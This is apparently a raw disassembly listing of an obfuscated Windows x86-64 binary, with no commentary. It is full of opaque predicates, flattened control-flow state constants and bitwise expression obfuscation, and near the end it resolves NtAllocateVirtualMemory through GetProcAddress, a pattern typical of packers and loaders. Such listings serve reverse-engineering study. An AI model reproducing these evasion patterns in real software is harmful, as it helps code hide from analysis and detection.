and edx, 0x2ea4bd4
or edx, ebx
mov ebp, edx
xor ebp, 0x2424bc0
xor edx, 0xfd15b42b
mov ebx, ecx
not ebx
mov edi, edx
and edi, 0x84b8143e
and ebp, 0x4243cbc0
or ebp, edi
or edx, ebx
and ebx, 0x84b8143e
and ecx, 0x7b47ebc1
or ecx, ebx
xor ecx, ebp
not edx
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0x277f76b0
and edx, 0xd880894f
or edx, ecx
mov ecx, edx
xor ecx, 0xa6a4299
xor edx, 0x4803864
and edx, 0x94813864
and ecx, 0x6b7ec79b
or ecx, edx
mov edx, ecx
xor edx, 0x291a830b
xor ecx, 0x14010020
and ecx, 0x566544b0
and edx, 0xa99abb4f
or edx, ecx
xor edx, 0xa99abb4f
sete r10b
setne dl
cmp eax, 9
setg r8b
cmp eax, 0xa
setl r9b
mov eax, r9d
xor al, dl
mov ebx, eax
xor bl, r8b
and bl, al
and dl, r9b
and r10b, r8b
or r10b, dl
mov edx, ebx
xor dl, 1
mov eax, ebx
and al, dl
mov ecx, eax
and cl, bl
xor al, bl
or al, cl
mov ecx, eax
xor cl, 1
and cl, r10b
xor r10b, 1
and al, r10b
or al, cl
mov ecx, edx
and cl, r10b
xor r10b, dl
or r10b, cl
mov edx, r10d
xor dl, al
test r10b, r10b
mov ecx, 0x682fcf32
mov ebp, 0x6b6049a0
cmovne ecx, ebp
test al, al
mov r13d, 0x6b6049a0
cmove ecx, ebp
test dl, 1
mov eax, 0x682fcf32
jmp 0x1400bd5b0
mov edx, dword [0x140265730]
mov eax, dword [0x14026572c]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0x96196e5a
mov ebx, ecx
and ebx, 0x69e691a4
or ebx, ebp
xor ebx, 0x69e691a4
mov ebp, ecx
and ebp, 1
or ebp, ebx
and edx, 0x4047194
and ecx, 0xfbfb8e6b
or ecx, edx
mov edx, ecx
xor edx, 0x1af08800
mov edi, ebp
not edi
mov ebx, edi
and ebx, 0xe10b67ef
and ebp, 0x1ef49810
or ebp, ebx
xor ecx, 0x6184
and ecx, 0xe10b67ef
and edx, 0x1ef49810
or edx, ecx
xor edx, ebp
not edx
or edx, edi
cmp edx, 0xffffffff
sete r8b
setne r9b
cmp eax, 0xa
setl r10b
cmp eax, 9
setg al
mov ebx, eax
xor bl, r10b
and bl, al
mov ecx, r9d
xor cl, r8b
and cl, r9b
mov edx, ebx
xor dl, 1
or dl, bl
xor dl, 1
mov r11d, ebx
and r11b, dl
xor dl, bl
or dl, r11b
mov r11d, ecx
xor r11b, 1
mov ebx, ecx
or bl, r11b
xor cl, bl
xor cl, 1
or bl, r11b
xor bl, 1
or bl, cl
mov ecx, ebx
xor cl, dl
and bl, cl
and cl, dl
mov edx, ebx
and dl, cl
xor cl, bl
or cl, dl
and r8b, al
and r10b, r9b
or r10b, r8b
mov edx, eax
xor dl, r9b
or al, r9b
xor al, 1
or al, dl
xor al, 1
mov edx, r10d
and dl, al
xor al, r10b
or al, dl
mov edx, eax
xor dl, 1
and al, dl
mov ebx, edx
and bl, al
xor al, dl
or al, bl
mov edx, eax
xor dl, 1
mov ebx, ecx
xor bl, 1
and dl, al
mov r8d, edx
and r8b, al
xor dl, al
or dl, r8b
and bl, dl
xor dl, 1
and dl, cl
or dl, bl
mov ebx, ecx
xor bl, al
or al, cl
xor al, 1
or al, bl
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0x60b2fd6c
mov ebp, 0x34c3dc35
cmovne ecx, ebp
test al, 1
mov eax, 0x60b2fd6c
jmp 0x1400aed0c
mov ecx, dword [0x140265730]
mov eax, dword [0x14026572c]
lea ebx, [rcx - 1]
imul ebx, ecx
mov ebp, ebx
not ebp
mov ecx, ebp
and ecx, 0x17790ad0
mov edx, ebx
and edx, 0xe886f52e
or edx, ecx
xor edx, 0xe886f52e
mov ecx, ebx
xor ecx, 0xfffffffe
and ecx, ebx
mov edi, edx
and edi, ecx
xor ecx, edx
or ecx, edi
mov edx, ecx
not edx
and edx, 0x8220593a
and ecx, 0x7ddfa6c5
or ecx, edx
mov edx, ecx
xor edx, 0x1cc326c0
xor ecx, 0x8220593a
mov edi, ecx
and edi, 0xe13cc907
and edx, 0x1ec336f8
or edx, edi
or ecx, ebx
and ebx, 0xe13cc907
and ebp, 0x1ec336f8
or ebp, ebx
xor ebp, edx
not ecx
or ecx, ebp
mov edx, ecx
not edx
and edx, 0xa235bb56
and ecx, 0x5dca44a9
or ecx, edx
xor ecx, 0x5dca44a9
sete cl
setne r8b
cmp eax, 9
setg bl
cmp eax, 0xa
setl dl
mov eax, edx
xor al, bl
and al, dl
mov r9d, r8d
and r9b, al
not al
and al, cl
or al, r9b
and dl, r8b
and cl, bl
or cl, dl
mov edx, ebx
xor dl, r8b
or bl, r8b
xor bl, 1
or bl, dl
mov edx, ebx
xor dl, cl
xor cl, 1
xor dl, 1
or cl, bl
xor cl, 1
or cl, dl
xor cl, al
and al, cl
mov edx, ecx
xor dl, al
test dl, 1
mov edx, 0x401f511d
mov ebp, 0x8fbf9a91
cmovne edx, ebp
test cl, 1
mov ecx, 0x401f511d
jmp 0x1400bc2ba
mov edx, dword [0x140265730]
mov eax, dword [0x14026572c]
lea ecx, [rdx - 1]
imul ecx, edx
mov ebp, ecx
not ebp
mov edx, ebp
and edx, ecx
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0x52e57d8d
and ebp, 0xad1a8272
or ebp, edi
or ecx, ebx
and ebx, 0x52e57d8d
and edx, 0xad1a8272
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
mov edx, ecx
not edx
and edx, 0x162759a8
mov ebp, ecx
and ebp, 0xe9d8a657
or ebp, edx
mov edx, ebp
xor edx, 0xe9d8a657
xor ebp, 0x16201800
mov ebx, edx
and ebx, 0xdd693cbb
and ecx, 0x2296c344
or ecx, ebx
mov ebx, ecx
not ebx
and ebx, 0x2296c345
and ecx, 0xdd693cba
or ecx, ebx
and ebp, 0x56e83814
mov ebx, edx
and ebx, 0xa917c7eb
or ebx, ebp
xor ebx, 0x56e83815
and edx, 1
or edx, ebx
mov ebp, edx
not ebp
and ebp, 0x692e53c3
and edx, 0x96d1ac3c
or edx, ebp
mov ebp, edx
xor ebp, 0x12808428
xor edx, 0x692e53c3
mov ebx, ecx
not ebx
mov edi, ebx
and edi, 0x8d776894
and ecx, 0x7288976b
or ecx, edi
or ebx, edx
and edx, 0x8d776894
and ebp, 0x7288976b
or ebp, edx
xor ebp, ecx
not ebx
or ebx, ebp
mov ecx, ebx
xor ecx, 0xc53ab857
and ecx, ebx
or ebx, 0x3ac547a8
mov edx, ebx
not edx
mov ebp, ecx
not ebp
mov edi, ebx
and edi, 0x5b07995a
and edx, 0x84382005
or edx, edi
or ebx, ebp
and ebp, 0x5b07995a
and ecx, 0xa4f866a5
or ecx, ebp
xor ecx, edx
not ebx
or ebx, ecx
mov ecx, ebx
not ecx
and ecx, 0xff7200e5
and ebx, 0x8dff1a
or ebx, ecx
xor ebx, 0xc5b7474d
sete cl
setne dl
cmp eax, 0xa
setl r8b
cmp eax, 9
setg al
and dl, al
mov ebx, r8d
and bl, cl
or bl, dl
mov r9d, ebx
xor r9b, al
and r9b, bl
xor al, cl
not al
and al, cl
xor cl, r8b
and cl, r8b
mov ebx, eax
and bl, cl
xor cl, al
or cl, bl
mov eax, r9d
xor al, 1
xor cl, 1
mov edx, r9d
and dl, al
mov ebx, edx
and bl, r9b
xor dl, r9b
or dl, bl
xor dl, cl
mov ebx, eax
and bl, cl
xor cl, al
or cl, bl
mov eax, edx
xor al, cl
not al
test al, 1
mov eax, 0xb52e3a71
mov ebp, 0xeb6f8ace
cmovne eax, ebp
test cl, 1
mov ecx, 0xb52e3a71
cmovne ecx, eax
jmp 0x1400bbbac
mov ecx, dword [0x140265730]
mov eax, dword [0x14026572c]
lea ebp, [rcx - 1]
imul ebp, ecx
mov edx, ebp
not edx
and ebp, 0x8c58d010
and edx, 0x73a72fef
or edx, ebp
mov ebp, edx
xor ebp, 0x73a72fef
mov ecx, ebp
or ecx, 1
mov ebx, ecx
not ebx
and ebp, 0xfffffffe
and edx, 1
or edx, ebp
mov ebp, edx
not ebp
mov edi, ecx
and edi, 0x4ea0d0f
and ebx, 0xfb15f2f0
or ebx, edi
or ecx, ebp
and ebp, 0x4ea0d0f
and edx, 0xfb15f2f0
or edx, ebp
xor edx, ebx
not ecx
or ecx, edx
mov edx, ecx
not edx
and edx, 0xc5a5e3c2
and ecx, 0x3a5a1c3d
or ecx, edx
mov edx, ecx
not edx
and edx, 0x3a5a1c3d
and ecx, 0xc5a5e3c2
or ecx, edx
mov edx, ecx
not edx
and ecx, 0x39116cc4
and edx, 0xc6ee933b
or edx, ecx
xor edx, 0xc6ee933b
sete cl
setne r9b
cmp eax, 0xa
setl r8b
cmp eax, 9
setg al
mov edx, r9d
and dl, al
mov ebx, r8d
and bl, cl
or bl, dl
xor al, bl
and al, bl
or r9b, r8b
xor cl, r8b
and cl, r8b
xor cl, 1
mov edx, r9d
xor dl, cl
or cl, r9b
xor cl, 1
or cl, dl
xor cl, al
mov edx, ecx
not dl
and dl, al
mov eax, edx
xor al, cl
test al, 1
mov eax, 0xd819b661
mov ebp, 0xb6678a2a
cmovne eax, ebp
test cl, 1
jmp 0x1400b92e4
mov edx, dword [0x140265730]
mov r8d, dword [0x14026572c]
lea ebp, [rdx - 1]
imul ebp, edx
mov edi, ebp
not edi
mov ebx, edi
and ebx, 0xdce90c32
mov edx, ebp
and edx, 0x2316f3cd
or edx, ebx
mov ebx, edx
xor ebx, 0x2002a085
xor edx, 0x88890800
mov ecx, ebp
xor ecx, 0xa89ba885
and ecx, ebp
or edx, 0x5764577a
mov esi, ecx
not esi
mov eax, edx
and eax, 0xdb1c0b40
and ebx, 0x2083a085
or ebx, eax
or edx, esi
and esi, 0xdb1c0b40
and ecx, 0x24e3f4bf
or ecx, esi
xor ecx, ebx
not edx
or edx, ecx
mov eax, edx
not eax
and eax, 0xaeab5281
and edx, 0x5154ad7e
or edx, eax
mov eax, edx
xor eax, 0xf9cf05fa
and edi, 0x785d4969
and ebp, 0x87a2b696
or ebp, edi
mov ecx, ebp
xor ecx, 0x87a2b696
xor edx, 0x630fa05
and ecx, edx
xor ebp, 0x785d4969
and ebp, eax
or ebp, ecx
not ebp
or ebp, edx
cmp ebp, 0xffffffff
sete al
setne r9b
cmp r8d, 0xa
setl dl
cmp r8d, 9
setg cl
mov ebx, ecx
and al, cl
and cl, r9b
xor bl, r9b
or bl, cl
and dl, r9b
or al, dl
mov ecx, eax
and al, bl
xor bl, 1
xor cl, 1
mov edx, ebx
xor dl, cl
and dl, bl
and cl, bl
or cl, al
mov eax, edx
xor al, cl
test al, 1
mov eax, 0x416c191a
mov ebp, 0x787b21eb
cmovne eax, ebp
test cl, cl
mov ecx, eax
cmovne ecx, ebp
test dl, dl
jmp 0x1400bd5b0
mov edx, dword [0x140265730]
mov r8d, dword [0x14026572c]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0x99429fdc
and edx, ecx
and ecx, 0x66bd6023
or ecx, ebp
mov ebp, ecx
xor ebp, 0x64312020
xor ecx, 0x99429fdc
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0x128e4c57
and ebp, 0xed71b3a8
or ebp, edi
or ecx, ebx
and ebx, 0x128e4c57
and edx, 0xed71b3a8
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
mov ebp, ecx
not ebp
mov edx, ebp
and edx, 0x4c4a9126
and ecx, 0xb3b56ed9
or ecx, edx
mov eax, ecx
xor eax, 0xb3b56ed9
xor ecx, 0x4c4a9126
mov edi, ecx
or edi, 0xe3778fe
mov esi, edi
not esi
or ebp, 0xf1c88701
mov ebx, ebp
not ebx
and edi, 0x808836f8
and esi, 0x71408101
or esi, edi
and ebp, 0x808836f8
and ebx, 0xe374806
or ebx, ebp
xor ebx, esi
mov ebp, ebx
not ebp
and ebp, 0xfc621676
and ebx, 0x39de989
or ebx, ebp
xor ebx, 0xf2556e89
and ecx, 0x120c2884
mov edx, eax
and edx, 0xedf3d77b
or edx, ecx
xor edx, 0x120c2885
and eax, 1
or eax, edx
not eax
mov ecx, ebx
and ecx, eax
xor eax, ebx
or eax, ecx
mov ecx, eax
mov edx, eax
xor edx, 0x590c88d9
and edx, eax
not eax
and eax, 0x80091
and ecx, 0x59048848
or ecx, eax
xor ecx, 0x59048848
mov eax, ecx
and eax, edx
xor edx, ecx
or edx, eax
mov eax, edx
not eax
and eax, 0xa6f37726
and edx, 0x590c88d9
or edx, eax
mov eax, edx
not eax
mov ecx, eax
and ecx, 0x66772f05
and edx, 0x9988d0fa
or edx, ecx
xor edx, 0x66772f05
xor eax, edx
test eax, edx
sete r9b
setne dl
cmp r8d, 0xa
setl cl
cmp r8d, 9
setg bl
mov eax, ebx
and al, dl
xor bl, dl
or bl, al
xor cl, r9b
mov eax, ecx
and cl, bl
xor bl, 1
xor al, 1
mov edx, ebx
xor dl, al
and dl, bl
and al, bl
or al, cl
mov ecx, edx
xor cl, al
mov ebp, 0x8fbf9a91
mov ebx, 0x4af0112e
cmovne ebp, ebx
test al, al
mov ecx, ebp
cmovne ecx, ebx
test dl, dl
jmp 0x1400bd41b
mov edx, dword [0x140265730]
mov eax, dword [0x14026572c]
lea ebx, [rdx - 1]
imul ebx, edx
mov ebp, ebx
not ebp
mov edx, ebp
and edx, 0x280104dc
mov ecx, ebx
and ecx, 0x458aa020
or ecx, edx
xor ecx, 0x458aa020
mov edx, ebx
and edx, 0x92745b03
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0x81b05b6e
and edx, 0x7e4fa491
or edx, ecx
mov ecx, edx
xor ecx, 0x10440064
and ebp, 0xd7af5880
and ebx, 0x2850a77f
or ebx, ebp
mov ebp, ebx
xor ebp, 0x8402364
xor edx, 0xec3bff93
mov edi, edx
and edi, 0xa3b8941b
and ecx, 0x5c476be4
or ecx, edi
xor ebx, 0x83a81000
and ebx, 0xa3b8941b
and ebp, 0x5c476be4
or ebp, ebx
xor ebp, ecx
xor edx, ebp
test edx, ebp
setne cl
sete r8b
cmp eax, 0xa
setl bl
cmp eax, 9
setg dl
mov eax, edx
xor al, bl
and al, dl
xor al, r8b
xor al, 1
or bl, r8b
xor cl, dl
mov edx, ebx
xor dl, cl
xor cl, 1
xor dl, 1
or cl, bl
xor cl, 1
or cl, dl
xor cl, 1
mov edx, ecx
xor dl, al
or cl, al
xor cl, 1
or cl, dl
mov eax, ecx
xor al, dl
test cl, 1
mov ecx, 0x45326057
mov ebp, 0x7ac916cd
cmovne ecx, ebp
test dl, 1
cmove ecx, ebp
test al, 1
mov eax, 0x45326057
jmp 0x1400bd5b0
mov ecx, dword [0x140265730]
mov eax, dword [0x14026572c]
lea edx, [rcx - 1]
imul edx, ecx
mov ebp, edx
not ebp
or edx, 0x2b7c0f80
mov ebx, edx
not ebx
or ebp, 0xd483f07f
mov ecx, ebp
not ecx
and edx, 0x793511d2
and ebx, 0x8482e02d
or ebx, edx
and ebp, 0x793511d2
and ecx, 0x2480e00
or ecx, ebp
xor ecx, ebx
mov edx, ecx
not edx
and edx, 0x5f2920ee
and ecx, 0xa0d6df11
or ecx, edx
mov ebp, ecx
xor ebp, 0x74552f6e
mov edx, ecx
xor edx, 0x74552f6f
and edx, ebp
xor ecx, 0xa005001
and ecx, 0x4a55700b
and ebp, 0xb5aa8ff4
or ebp, ecx
mov ebx, ebp
xor ebx, 0x150209d1
mov ecx, edx
not ecx
xor ebp, 0x4a55700a
mov edi, ecx
and edi, 0xe8adc62c
and edx, 0x175239d3
or edx, edi
or ecx, ebp
and ebp, 0xe8adc62c
and ebx, 0x175239d3
or ebx, ebp
xor ebx, edx
not ecx
or ecx, ebx
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0xf49a02d2
and edx, ecx
and ecx, 0xb65fd2d
or ecx, ebp
xor ecx, 0xb65fd2d
mov ebp, ecx
and ebp, edx
xor ecx, edx
or ecx, ebp
mov edx, ecx
not edx
and ecx, 0xa4a7e2ad
and edx, 0x5b581d52
or edx, ecx
mov ecx, edx
xor ecx, 0x20032200
xor edx, 0x13401d40
and edx, 0x97e4dded
and ecx, 0x681b2212
or ecx, edx
xor ecx, 0x681b2212
setne cl
sete r8b
cmp eax, 0xa
setl r10b
cmp eax, 9
setg r9b
mov edx, r9d
xor dl, r10b
and dl, r9b
mov ebx, edx
xor bl, 1
mov eax, ebx
and al, dl
mov r11d, ebx
and r11b, al
xor al, bl
or al, r11b
xor al, 1
or bl, dl
xor bl, 1
mov edx, eax
and dl, bl
xor bl, al
or bl, dl
xor bl, r8b
xor bl, 1
and r9b, r8b
and cl, r10b
or cl, r9b
mov eax, r10d
and al, r8b
xor r10b, r8b
or r10b, al
xor cl, 1
mov eax, ecx
xor al, r10b
or cl, r10b
xor cl, 1
or cl, al
mov eax, ecx
xor al, 1
mov edx, eax
and dl, cl
xor dl, 1
mov r8d, edx
xor r8b, cl
or dl, cl
xor dl, 1
or dl, r8b
xor dl, bl
or al, bl
xor bl, cl
xor bl, 1
xor al, 1
or al, bl
mov ebx, eax
xor bl, dl
test al, 1
mov ecx, 0x740daac4
mov eax, 0x3138c4ed
cmovne ecx, eax
test dl, 1
cmove ecx, eax
not bl
test bl, 1
mov eax, 0x740daac4
jmp 0x1400bbbaf
mov ecx, dword [0x140265730]
mov eax, dword [0x14026572c]
lea ebp, [rcx - 1]
imul ebp, ecx
mov ecx, ebp
not ecx
mov ebx, ecx
and ebx, 0xeb79f889
mov edx, ebp
xor edx, 0xeb79f889
and edx, ebp
mov edi, ebx
and edi, edx
xor edx, ebx
or edx, edi
mov ebx, edx
not ebx
and ebx, 0x14860777
and edx, 0xeb79f888
or edx, ebx
mov ebx, edx
not ebx
mov edi, ebx
and edi, 0xdd2842d1
and edx, 0x22d7bd2e
or edx, edi
and ebp, 0xdd2842d1
and ecx, 0x22d7bd2e
or ecx, ebp
xor ecx, edx
xor ebx, ecx
test ebx, ecx
sete r8b
setne r10b
cmp eax, 0xa
setl r9b
cmp eax, 9
setg al
mov ebx, r10d
xor bl, r8b
and bl, r10b
mov ecx, ebx
not cl
and cl, bl
mov edx, ecx
and dl, bl
xor cl, bl
or cl, dl
xor cl, al
mov r11d, ecx
xor r11b, 1
mov ebx, r9d
xor r9b, r8b
and r8b, al
and bl, r10b
or bl, r8b
or al, r10b
xor al, 1
or al, r9b
xor al, 1
mov edx, ebx
and dl, al
xor al, bl
or al, dl
xor cl, al
or al, r11b
mov edx, ecx
xor dl, al
not dl
test dl, 1
mov edx, 0x41840c2b
mov ebp, 0xc5a642f5
cmovne edx, ebp
test cl, 1
mov ecx, 0x41840c2b
jmp 0x1400bc185
mov edx, dword [0x140265730]
mov eax, dword [0x14026572c]
lea esi, [rdx - 1]
imul esi, edx
mov edx, esi
not edx
and edx, 0x10be4e89
and esi, 0xef41b176
or esi, edx
mov ebp, esi
xor ebp, 0xef41b176
xor esi, 0x10be4e89
mov ebx, ebp
or ebx, 0xef4e15f2
mov edi, ebx
not edi
mov ecx, esi
or ecx, 0x10b1ea0d
mov edx, ecx
not edx
and ebx, 0xaee20984
and edi, 0x1011e209
or edi, ebx
and ecx, 0xaee20984
and edx, 0x410c1472
or edx, ecx
xor edx, edi
mov ebx, edx
not ebx
and ebx, 0xef4e15f3
and edx, 0x10b1ea0c
or edx, ebx
and ebp, 0xf5e36d70
mov ecx, esi
and ecx, 0xa1c928f
or ecx, ebp
xor ecx, 0xf5e36d71
and esi, 1
or esi, ecx
mov ecx, esi
not ecx
mov ebx, edx
not ebx
mov ebp, ebx
and ebp, 0x66ea2156
and edx, 0x9915dea9
or edx, ebp
or ebx, esi
and esi, 0x66ea2156
and ecx, 0x9915dea9
or ecx, esi
xor ecx, edx
not ebx
or ebx, ecx
mov ecx, ebx
mov edx, ebx
xor edx, 0xa5440e7e
and edx, ebx
not ebx
and ebx, 0x3e0043e9
and ecx, 0xc1ffbc16
or ecx, ebx
mov ebp, ecx
xor ebp, 0x806
xor ecx, 0x24000268
or ecx, 0x5abbf181
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0xdd5c8691
and ebp, 0x2000086e
or ebp, edi
or ecx, ebx
and ebx, 0xdd5c8691
and edx, 0x22a3796e
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
mov edx, ecx
not edx
and edx, 0x5abbf181
and ecx, 0xa5440e7e
or ecx, edx
mov edx, ecx
not edx
and edx, 0x5433dde0
and ecx, 0xabcc221f
or ecx, edx
xor ecx, 0xabcc221f
cmp ecx, 0xffffffff
setne r8b
sete dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
mov ecx, eax
xor cl, dl
and cl, al
and bl, r8b
and al, dl
or al, bl
mov edx, ecx
and dl, al
xor cl, al
or cl, dl
mov edx, eax
not dl
and dl, al
xor dl, 1
mov ebx, eax
xor bl, dl
or dl, al
xor dl, 1
or dl, bl
mov ebx, edx
xor bl, 1
and bl, cl
xor cl, 1
and dl, cl
or dl, bl
mov ebx, eax
xor bl, cl
or cl, al
xor cl, 1
or cl, bl
mov eax, ecx
xor al, dl
test al, 1
mov eax, 0x4e267422
mov ebp, 0x8ff37b0e
cmovne eax, ebp
test cl, 1
mov ecx, 0x4e267422
jmp 0x1400bd5aa
mov ecx, 0x52f57c65
cmp ecx, 0xe9ca7823
jg 0x1400aefa0
jmp 0x1400aed2c
mov eax, dword [0x140265730]
lea ecx, [rax - 1]
imul ecx, eax
mov edx, ecx
not edx
mov eax, edx
and eax, 0x420606
and ecx, 0x4004941
or ecx, eax
mov ebp, ecx
xor ebp, 0x4940
xor ecx, 0xf17ca08c
or edx, 0x4424f47
mov eax, edx
not eax
and ecx, 0xf57ca08d
and ebp, 0x24f42
or ebp, ecx
and edx, 0xf57ca08d
and eax, 0xa811030
or eax, edx
xor eax, ebp
mov ecx, eax
not ecx
and ecx, 0xfbbdb0b8
and eax, 0x4424f47
or eax, ecx
mov edi, eax
not edi
mov ebp, eax
xor ebp, 0x6725e7b2
and ebp, edi
mov ebx, edi
or ebx, 0x6725e7b2
mov ecx, ebx
not ecx
mov edx, ebp
not edx
mov esi, edx
and esi, 0x1cae7378
and ebp, 0xe3518c87
or ebp, esi
or edx, ebx
and ebx, 0x1cae7378
and ecx, 0x80500805
or ecx, ebx
xor ecx, ebp
not edx
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0x98da184c
and edx, 0x6725e7b3
or edx, ecx
and edi, 1
xor eax, 0xfffffffe
or eax, edi
mov ebp, eax
not ebp
mov ecx, edx
not ecx
mov ebx, ecx
and ebx, 0x81bc7a96
and edx, 0x7e438569
or edx, ebx
or ecx, eax
and eax, 0x81bc7a96
and ebp, 0x7e438569
or ebp, eax
xor ebp, edx
not ecx
or ecx, ebp
mov eax, ecx
not eax
mov edx, ecx
xor edx, 0x28bccacf
and edx, ecx
or ecx, 0xd7433530
mov ebp, edx
not ebp
mov ebx, ecx
and ebx, 0xf05a8fda
and eax, 0x8a44005
or eax, ebx
or ecx, ebp
and ebp, 0xf05a8fda
and edx, 0xfa57025
or edx, ebp
xor edx, eax
not ecx
or ecx, edx
mov eax, ecx
not eax
and eax, 0x70e016c8
and ecx, 0x8f1fe937
or ecx, eax
mov eax, ecx
xor eax, 0x27a20148
xor ecx, 0x4044d005
and ecx, 0xc045f2b5
and eax, 0x3fba0d4a
or eax, ecx
xor eax, 0x3fba0d4a
cmp eax, 0xffffffff
sete bl
cmp dword [0x14026572c], 0xa
setl cl
mov edx, ecx
or dl, bl
xor dl, 1
mov eax, ecx
xor al, bl
or dl, al
mov r8d, edx
xor r8b, 1
and bl, al
and al, cl
xor bl, 1
xor al, 1
mov ecx, ebx
xor cl, al
or al, bl
xor al, 1
or al, cl
mov ebx, eax
xor bl, 1
mov ecx, edx
and cl, r8b
and bl, al
xor dl, cl
xor cl, 1
or cl, r8b
xor cl, 1
or cl, dl
xor bl, 1
mov edx, eax
xor dl, bl
or bl, al
xor bl, 1
or bl, dl
xor bl, cl
mov ecx, r8d
xor cl, al
or al, r8b
xor al, 1
or al, cl
mov edx, eax
xor dl, bl
test al, 1
mov ecx, 0x8ed325f0
mov eax, 0x9e1ccee9
cmovne ecx, eax
test bl, 1
cmove ecx, eax
test dl, 1
mov eax, 0x8ed325f0
jmp 0x1400bd5b0
mov ecx, 0xbebde1f4
cmp ecx, 0xe9ca7823
jg 0x1400aefa0
jmp 0x1400aed2c
mov ecx, dword [0x140265730]
mov eax, dword [0x14026572c]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and edx, 0x68903412
and ecx, 0x976fcbed
or ecx, edx
mov edx, ecx
xor edx, 0x68903412
xor ecx, 0x82218881
mov ebp, edx
and ebp, 0xfffffffe
and ecx, 0xaa21b881
and edx, 0x55de477e
or edx, ecx
xor edx, 0x55de477f
mov ecx, ebp
and ecx, edx
xor edx, ebp
or edx, ecx
mov ebp, edx
not ebp
mov ebx, ebp
or ebx, 0xcd4909cf
mov ecx, ebx
not ecx
or edx, 0x32b62600
and edx, 0x7bb7270a
and ebp, 0x844808c5
or ebp, edx
and ebx, 0x7bb7270a
and ecx, 0xd030
or ecx, ebx
xor ecx, ebp
mov edx, ecx
not edx
and edx, 0x32b6f630
and ecx, 0xcd4909cf
or ecx, edx
mov edx, ecx
not edx
and edx, 0x9d26134
and ecx, 0xf62d9ecb
or ecx, edx
mov edx, ecx
xor edx, 0x24259e40
xor ecx, 0x1104024
and ecx, 0xd31840af
and edx, 0x2ce7bf50
or edx, ecx
mov ecx, edx
xor ecx, 0x121800a4
xor edx, 0xce22a40
and edx, 0xcde26a4b
and ecx, 0x321d95b4
or ecx, edx
xor ecx, 0x321d95b4
sete r9b
setne r10b
cmp eax, 0xa
setl r8b
cmp eax, 9
setg al
mov ecx, eax
xor cl, r8b
and cl, al
mov edx, r10d
xor dl, r9b
and dl, r10b
mov ebx, edx
xor bl, cl
and dl, bl
and bl, cl
mov ecx, edx
and cl, bl
xor bl, dl
or bl, cl
mov ecx, eax
xor cl, r9b
and cl, al
and r10b, r8b
and al, r9b
or al, r10b
xor cl, 1
xor al, 1
mov edx, ecx
xor dl, al
or al, cl
xor al, 1
or al, dl
mov ecx, eax
xor cl, 1
and al, cl
mov edx, ecx
and dl, al
xor al, cl
or al, dl
xor al, bl
mov ecx, eax
xor cl, 1
and bl, cl
xor cl, bl
test cl, 1
mov edx, 0xe1a4431e
mov ecx, 0x508c8786
cmovne edx, ecx
test al, 1
mov ecx, edx
mov eax, 0xe1a4431e
cmovne ecx, eax
test bl, bl
jmp 0x1400bc2bf
mov rax, qword [rsp + 0x38]
mov qword [0x140265058], rax
mov ecx, 0x606a647
cmp ecx, 0xe9ca7823
jg 0x1400aefa0
jmp 0x1400aed2c
mov ecx, 0x2e7eb1c4
cmp ecx, 0xe9ca7823
jg 0x1400aefa0
jmp 0x1400aed2c
mov rcx, qword [rsp + 0x30]
lea rdx, str.NtAllocateVirtualMemory
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, 0x990d5fad
cmp ecx, 0xe9ca7823
jg 0x1400aefa0
jmp 0x1400aed2c
mov ecx, 0x8aea65d1
cmp ecx, 0xe9ca7823
jg 0x1400aefa0
jmp 0x1400aed2c
mov ecx, 0xc479a773
cmp ecx, 0xe9ca7823
jg 0x1400aefa0
jmp 0x1400aed2c
mov ecx, 0x401f511d
cmp ecx, 0xe9ca7823
jg 0x1400aefa0
jmp 0x1400aed2c
mov ecx, dword [0x140265730]
mov r8d, dword [0x14026572c]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
mov ebp, ecx
and ebp, 0xda054ad1
and ecx, edx
and edx, 0x25fab52e
or edx, ebp
xor edx, 0x25fab52e
mov ebp, edx
and ebp, ecx
xor edx, ecx
or edx, ebp
mov ebp, edx
not ebp
mov ecx, ebp
and ecx, 0xe57c8d23
and edx, 0x1a8372dc
or edx, ecx
mov eax, edx
xor eax, 0x1a8372dc
xor edx, 0xe57c8d23
mov edi, edx
or edi, 0x793d79e3
mov esi, edi
not esi
or ebp, 0x86c2861c
mov ebx, ebp
not ebx
and edi, 0x151860c9
and esi, 0x82c28614
or esi, edi
and ebp, 0x151860c9
and ebx, 0x68251922
or ebx, ebp
xor ebx, esi
mov ebp, ebx
not ebp
and ebp, 0x793d79e2
and ebx, 0x86c2861d
or ebx, ebp
and edx, 0xa764f17b
mov ecx, eax
and ecx, 0x589b0e84
or ecx, edx
xor ecx, 0xa764f17a
and eax, 1
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0xa4aeea6
and eax, 0xf5b51159
or eax, ecx
xor eax, 0xf5b51159
mov ecx, ebx
and ecx, eax
xor eax, ebx
or eax, ecx
mov edx, eax
mov ecx, eax
xor ecx, 0xabaec470
and ecx, eax
not eax
and eax, 0xa8020410
and edx, 0x3acc060
or edx, eax
mov eax, edx
xor eax, 0x1808060
xor edx, 0xfc533f9f
mov ebp, ecx
not ebp
mov ebx, edx
and ebx, 0xe3c420a
and eax, 0xa1828470
or eax, ebx
or edx, ebp
and ebp, 0xe3c420a
and ecx, 0xf1c3bdf5
or ecx, ebp
xor ecx, eax
not edx
or edx, ecx
mov eax, edx
not eax
and eax, 0x7ab65679
and edx, 0x8549a986
or edx, eax
mov eax, edx
xor eax, 0x832154
xor edx, 0xd1189209
mov ecx, edx
and ecx, 0x3f64dca3
and eax, 0xc09b235c
or eax, ecx
xor eax, 0xc09b235c
or eax, edx
cmp eax, 0xffffffff
sete r9b
setne cl
cmp r8d, 0xa
setl dl
cmp r8d, 9
setg bl
